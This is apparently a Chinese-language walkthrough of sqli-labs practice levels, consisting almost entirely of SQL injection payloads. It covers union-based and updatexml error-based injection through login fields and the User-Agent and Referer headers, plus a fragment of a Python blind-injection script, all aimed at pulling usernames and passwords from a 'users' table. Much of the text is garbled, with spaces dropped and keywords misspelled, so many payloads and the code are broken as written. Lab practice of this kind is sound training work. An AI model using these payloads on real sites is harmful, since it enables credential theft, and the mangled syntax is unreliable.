uname=a' order by 2 --+&passwd=1&submit=Submit uname=a'unionselect1, datebase() --+&passwd=1&submit=Submit uname=a' union select 1,group_concat(schema_name) from information_schema.schemata --+&passwd=1&submit=Submit 数据库 uname=a'unionselect1, group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=1&submit=Submit 表名 uname=a' union select 1, group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' --+&passwd=1&submit=Submit uname=a'unionselect1, group_concat(concat_ws('|',username,password)) from users --+&passwd=1&submit=Submit 字段名
报错注入:
1 2 3 4 5 6 7
uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(database()) from information_schema.schemata)),1)) --+&passwd=1&submit=Submit //数据库名 uname=a'and1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)) --+&passwd=1&submit=Submit //表名 uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)) --+&passwd=1&submit=Submit注意:这个需要数据库名和表名 // 获取用户名 uname=a'and1=(updatexml(1,concat(0x3a,(select group_concat(username) from users)),1)) --+&passwd=1&submit=Submit uname=a' and 1=(updatexml(1,concat(0x3a,(select group_concat(password) from users)),1)) --+&passwd=1&submit=Submit uname=a'and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1))-- +&passwd=1&submit=Submit
# 开始猜解 defmain(): length = getLength(url, payload_len) print('开始猜解字符.........') str = '' for l inrange(1, length + 1): pool = Pool(processes=50) # 设置并发数 results = pool.map(getChar, [(url, payload_str, l, n) for n inrange(33, 126)]) pool.close() pool.join() char = next((c for c in results if c isnotNone), None) if char: str += char print(f'第{l}个字符猜解成功:', str) returnstr
//数据库名 ' and updatexml(1,concat(0x3a,(select database())),1)-- + //表名 'and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
//字段名,注意:这个需要数据库名和表名 ' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+ //获取字段值 'and updatexml(1,concat(0x3a,(select group_concat(username) from users)),1)--+ 但是这个语句报错了,识别不了users表 于是增加一个子查询 这个子查询输出的内容和users表一样 查询后会放在一个虚拟表a中 ' and updatexml(1,concat(0x3a,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)a LIMIT 0,1)),1) --+
Less-18
打开后有个ip显示功能,大概率会记录你的登录ip地址,
如果ip地址被记录到数据库,那么就可能存在HTTP头注入
使用admin/admin登录后还会显示UA,那么UA大概率也会被记录到数据库中
对UA添加’后报错,证明存在UA头注入
根据报错还需要两个参数:ip和username,创建闭合参数’,1,1)
1 2 3 4 5 6 7 8 9 10
// 数据库名 ' and updatexml(1,concat(0x3a,(select database())),1),1,1)-- + //表名 'and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),1,1) -- +
//字段名 ' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1),1,1) -- + //获取字段值 'and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1)),1),1,1)-- +
Less-19
本关和上一关相似,使用admin/admin登录后会显示referer,大概率也会被记录到数据库中
在referer中添加’报错,不过这个是需要两个值闭合,也就是,1)
1 2 3 4 5 6 7 8 9 10 11
// 数据库名 ' and updatexml(1,concat(0x3a,(select database())),1),1)-- + //表名 'and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),1) -- +
//字段名 ' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1),1) -- + //获取字段值 'and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1)),1),1)-- +
uname=admin' and 1=1-- +页面正常 uname=admin'and1=2-- +页面异常
// 数据库名 ' and updatexml(1,concat(0x3a,(select database())),1)-- + //表名 'and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) -- +
//字段名 ' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- + //获取字段值 'and updatexml(1,concat(0x3a,(select concat_ws(':',username,password) from users LIMIT 0,1)),1)-- +